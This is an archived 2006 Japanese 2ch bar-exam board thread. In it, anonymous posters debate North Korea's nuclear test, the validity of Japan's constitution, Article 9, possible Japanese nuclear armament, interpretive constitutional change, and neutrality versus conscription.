まずは情勢認識と軍事技術の改良・実戦使用できる訓練こそ急務であって
憲法や制度を弄ることが急務なのではない。

157 :氏名黙秘:2006/10/10(火) 18:06:17 ID:???
今の自衛隊だと臨検をする際の武器の使用すら制限されている。
こんな「軍隊」に核兵器とかお笑いだよw

158 :氏名黙秘:2006/10/10(火) 18:18:13 ID:???
核兵器保有が実現したら
そもそも臨検だの敵基地攻撃だのは不要。
自衛隊の制度改革なくして実質的な自衛軍の創設が可能。

つまり憲法改正よりも核保有の議論及び国民投票の方がよほど重要になる。
まぁ、国民感情からして核保有は無理だろうけどな。

159 :氏名黙秘:2006/10/10(火) 18:35:28 ID:???
ま、所詮法律なんて核一発の力の前には無力、判例の立場とか説得力が
どうたらお笑いだ。事実は論理を超える、歴史や政治になんの影響力も
持たないスケールの小さい仕事だよな法曹って。

160 :氏名黙秘:2006/10/10(火) 19:26:29 ID:???
法律の議論は足枷の議論になるのは必然。
それがいやなら改憲など法律系の板で喚くのではなく
完全自由でルール無用の政治学の板に身を投じるべき。
すくなくとも司法試験板では
現行憲法体制と、NPTなどの国際法体制を尊重する前提を崩してはならない。


161 :氏名黙秘:2006/10/10(火) 21:53:41 ID:???
やれやれ、ν速の基地外どもがくるとこれだから・・・

162 :氏名黙秘:2006/10/10(火) 22:10:45 ID:???
そもそもの話、現行憲法自体が無効でしょ。

163 :氏名黙秘:2006/10/10(火) 22:19:18 ID:???
>>162
司法試験の面接で試験官に面と向かって言って見ろ。
おまえは司法試験にふさわしい人物ではないと判断され不合格にされるだけだ。
憲法の基礎から学びなおして来い。


164 :氏名黙秘:2006/10/10(火) 23:24:52 ID:???
>>161
法律とか司法とかの基礎ができてないやつがいっぱいいるのがわかるなw

165 :氏名黙秘:2006/10/10(火) 23:31:58 ID:???
宮澤俊義東大教授の1946年10月1日の発言
「憲法全体が自発的に出来ているものではない。
 重大なことを失った後でここで頑張ったところで、
 そう得るところはなく、多少とも自主性をもってやった
 という自己欺瞞にすぎない」

166 :氏名黙秘:2006/10/10(火) 23:36:30 ID:???
>>165
何を説明したいのかまったくもって意味不明だが、
そもそも1946年の発言を引用している時点で学力不足。
すくなくとも日本国憲法の中にも憲法習律は存在するし、憲法学界の多くは
日本国憲法の無効化を学説上支持していない。ましてや判例も憲法は有効だと考えている。
そんな条件のなかで50年前の宮沢発言に意味など全くない。

167 :氏名黙秘:2006/10/11(水) 15:46:08 ID:WZ5pmfMw
北朝鮮の核実験は日本国憲法とどういう関係があるのか教えてくれ

168 :氏名黙秘:2006/10/11(水) 17:24:07 ID:???


169 :氏名黙秘:2006/10/11(水) 17:55:10 ID:???
てかさ、ずっと前から思ってたんだけど
今の憲法の正当性の根源って何なの?ま、革命法のそれと言ってもいいけど

国民が支持してるから?60年前にしたから?そんなのどうやって証明できんの?
国会が作ったというのは無理があるだろ?憲法が先の問題だし。
GHQが作ったこと?占領機関が勝手に作って押し付けただけなのに?
占領と言う特殊な状況の下云々?抽象的すぎて分からない。結局正当性は無いの?

170 :氏名黙秘:2006/10/11(水) 18:38:50 ID:???
>>169

明治憲法からの改正によっても、根本規範の変更はできない。そして、
天皇主権の明治憲法と、国民主権の日本国憲法には、根本規範の変更があるから、
憲法改正の限界を超え、両者の間に実質的な法的連続性を認めることはできない。

そして、

ポツダム宣言の受諾により、憲法制定権力は天皇から国民に移動し、この国民の
憲法制定権力の発動により、日本国憲法は制定されたものであると解するほかはなく、
日本国憲法の上諭は、このような日本国憲法の成立手続の特殊性を示す(8月革命説)。

つまり、明治憲法との連続性はなく現行憲法として有効(司法試験上の通説)。

参照:『成川式択一六法2005年版憲法編』 4頁。

171 :氏名黙秘:2006/10/11(水) 18:57:53 ID:???
>>167
憲法改正と非核三原則の廃止によって
日本の核武装の動きが懸念されてるから関係があるんだよ

172 :氏名黙秘:2006/10/11(水) 19:12:05 ID:???
>>171
違うだろ。
朝鮮半島を消滅させたいのに
憲法が邪魔をするから何とかしたいんだろ。

173 :氏名黙秘:2006/10/11(水) 19:15:59 ID:???
>>172
朝鮮半島を核攻撃で消滅させようものなら、
放射性廃棄物の雨が日本全土を覆います。
憲法13条に明らかに違反しますw

174 :氏名黙秘:2006/10/11(水) 19:19:30 ID:???
>>171
違うだろ。
わが国は金の狙撃をGに依頼したいのに
憲法がそれを認めないから・・・
手続法も無いから・・・

175 :氏名黙秘:2006/10/11(水) 19:24:00 ID:???
>>174
Gって何だよ?

176 :氏名黙秘:2006/10/11(水) 19:33:24 ID:???
ゴルゴ13じゃねえのか?

177 :氏名黙秘:2006/10/11(水) 19:52:31 ID:???
キムが死んでも核問題はなくならないのになw

178 :氏名黙秘:2006/10/12(木) 13:21:22 ID:XxMxFXGe
安保理決議と国内法が競合した場合
どっちが優越するの?

179 :氏名黙秘:2006/10/12(木) 15:40:45 ID:???
>>178
国際法学における有力説である「等位理論」によれば、
そもそも安保理決議と国内法が競合乃至抵触することがない。
安保理決議は国際法の側面では当然ながら国内法に優先し、
国内に義務履行を求める安保理決議(執行指示)は国内法(特に憲法)には
優越しない。
仮に国内法を優先して安保理決議の履行を拒んだ場合、
日本政府は国内法上平穏を維持しつつ、国際法の側面で国際法上の責任を負う。
この点から、等位理論は、いわゆる国際法国内法二元論と同じ効果があるとみなされる。

詳細につき山本草二『国際法』参照のこと。

180 :氏名黙秘:2006/10/12(木) 15:52:14 ID:???
なんだかんだ言ってもさぁ、このスレにも居たような改憲派の見解は、現実にそぐわないんだよね。

2006/10/11-13:09 集団的自衛権、憲法解釈変更も=個別事例研究で部分的に行使容認−首相

 安倍晋三首相は11日午前の参院予算委員会で、集団的自衛権の行使について
「(個別事例の)研究を行った結果、それはわが国が禁止する集団的自衛権の行使ではないという解釈を
政府として出すということも十分あり得る」と述べ、行使を禁じた政府の憲法解釈を変更することで、
部分的な行使容認もあり得るとの考えを明らかにした。自民党の舛添要一参院政審会長が
「旧来の解釈変更はあり得るか」とただしたのに答えた。

http://www.jiji.com/jc/c?g=pol_30&k=2006101100461

181 :氏名黙秘:2006/10/12(木) 16:04:17 ID:???
>>180
いやそんなこたぁないって。
解釈変更はいいけどさ、改憲してすっきりしちゃうのがもっといい。

182 :氏名黙秘:2006/10/12(木) 16:58:36 ID:???
解釈改憲で穏便に済ませる方が間違いがないし、改憲反対派にも配慮できる。
その上、面倒な憲法改正国民投票による出費もない。
自民と民主で国会論戦なんかやったらせっかくの憲法がぐちゃぐちゃになりかねない。
いろいろ考えたら、消去法で解釈改憲がマシということになると思うけどな。


183 :氏名黙秘:2006/10/12(木) 17:43:30 ID:???
現実問題として、憲法改正なんてする時間的余裕がないから、仕方なく“解釈改憲”で乗り切ろうという腹積もりなんじゃね?

184 :氏名黙秘:2006/10/12(木) 18:32:56 ID:3NDYUJaK
非武装中立が、もっとも、現実的だ。
どんなにすばらしい軍隊持っても、完璧ではない。
完璧でないなら、その費用が無駄。
その浮いた金で、国際貢献すればよい。

185 :氏名黙秘:2006/10/12(木) 19:09:37 ID:???
>>184
非武装中立は無理だからむしろ永世中立国になるほうがいい。
しかもスイスみたいな条約型の。
完全にまるごしだと米軍にカネをむしり取られるのでかえって損する。



186 :氏名黙秘:2006/10/12(木) 20:17:07 ID:???
スイスは徴兵制だろ

187 :氏名黙秘:2006/10/12(木) 21:16:00 ID:???
>>186
徴兵は無意味だよね。戦闘機の操縦なんて徴兵したゴロツキには無理だし。
少数精鋭の志願兵をもとにして機械化軍団を作るのがいいよ。

188 :氏名黙秘:2006/10/17(火) 15:26:07 ID:???
<日本核武装論>米大統領初言及 国内議論けん制の可能性も
ttp://headlines.yahoo.co.jp/hl?a=20061017-00000051-mai-int

NPT脱退しない限り日本は核をもてないんだがな・・・。

189 :氏名黙秘:2006/10/18(水) 13:37:10 ID:???
非武装中立なんてことになったら、創価学会が武装蜂起して
池田国父の治める創価王国ができあがるよ。




190 :氏名黙秘:2006/10/18(水) 13:50:09 ID:???
そんなことにならないように
自公政権を打倒しなくちゃね

191 :氏名黙秘:2006/10/18(水) 20:09:39 ID:???
【命の重さ】どうなる日本の死刑制度 2【償い】
http://society3.2ch.net/test/read.cgi/court/1161081097/
裁判板

192 :氏名黙秘:2006/10/19(木) 14:21:42 ID:???
安倍ちゃんヘタレ杉w
武力行使はしないのかよw

193 :氏名黙秘:2006/10/26(木) 01:58:34 ID:???
>>187
スイスみたいな武装中立は良いが、男性にだけ徴兵制を押し付けるのは不公平
イスラエルみたいに男女とも皆兵ならまだしもね

俺としては、核武装をして志願兵で今の自衛隊で十分だと思う
核保有国同士が戦争になったことはないからね

インドとパキスタンも核保有してから紛争がなくなった

米ソ冷戦も結局、キューバ危機を乗り越えて、平和裏に終結した
北朝鮮問題は、少し時間がかかるけど、日本・韓国・台湾・北朝鮮・中国・ロシア・アメリカという
各国が核武装して恐怖の均衡を形成し、金正日が死んで北朝鮮が崩壊するのを待つしかない

194 :氏名黙秘:2006/10/29(日) 00:17:45 ID:???
20年後には日本は徴兵制になってると予想

195 :氏名黙秘:2006/10/30(月) 03:06:44 ID:???
>>194
20年後なら、俺は関係ないからどうでもいいなw

196 :氏名黙秘:2006/10/30(月) 17:29:18 ID:???
日本って、技術的には十分核兵器作れるんだね。
ttp://ja.wikipedia.org/wiki/%E6%A0%B8%E5%85%B5%E5%99%A8

あとは、憲法だけかぁ。北朝鮮怖いよ〜。
「もんじゅ」の研究者たちが、こっそり作ってくれないかな。
そしたら彼らはヒーローだ。

197 :氏名黙秘:2006/10/30(月) 17:31:15 ID:???
>>196
憲法は関係ないだろ
非核三原則って憲法と無関係の政府の宣言に過ぎないから

198 :氏名黙秘:2006/10/30(月) 17:38:47 ID:???
戦力の不保持に抵触するかな、ってちょっと思った。
でも、民間人が作って国が没収する分には問題ないのか。

199 :氏名黙秘:2006/10/30(月) 17:50:05 ID:???
>>198
自衛隊もすでに保持しているじゃないかw
あれは最低限度の実力だからな

核兵器も最低限度の実力として必要ならば問題ないのでは?

200 :氏名黙秘:2006/10/30(月) 21:53:53 ID:???
はい。最低限度の実力でしたw



201 :氏名黙秘:2006/11/08(水) 16:53:00 ID:???
政府見解なら格も最低限度の実力と解せば合憲。


202 :停止しました。。。:停止
真・スレッドストッパー。。。( ̄ー ̄)ニヤリッ

45 KB
■ このスレッドは過去ログ倉庫に格納されています

★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.00 2017/10/04 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)